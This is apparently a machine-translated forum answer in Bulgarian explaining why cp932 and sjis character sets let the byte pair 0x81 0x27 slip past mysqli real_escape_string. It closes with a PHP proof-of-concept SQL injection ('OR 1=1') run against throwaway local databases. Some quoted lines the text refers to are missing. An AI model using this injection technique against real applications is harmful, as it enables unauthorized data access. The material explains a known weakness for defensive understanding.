Дяволът е в детайлите... нека започнем с това как отговорете на въпрос описва списъка с уязвими набори от знаци:
Това ни дава някакъв контекст - 0xbf5c
се използва като пример за gbk
, а не като универсален знак, който да се използва за всички 5 набора от символи.
Случва се една и съща последователност от байтове също е валиден знак под big5
и gb2312
.
В този момент въпросът ви става толкова лесен:
За да бъда честен, повечето от търсенията в Google, които опитах за тези набори от знаци, не дават никакви полезни резултати. Но намерих този файл CP932.TXT
, в който ако търсите '5c '
(с пространството там), ще преминете към този ред:
И имаме победител! :)
Някои документи на Oracle
потвърждава, че 0x815c
е един и същ знак и за двата cp932
и sjis
и PHP също го разпознава:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
Ето PoC скрипт за атаката:
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}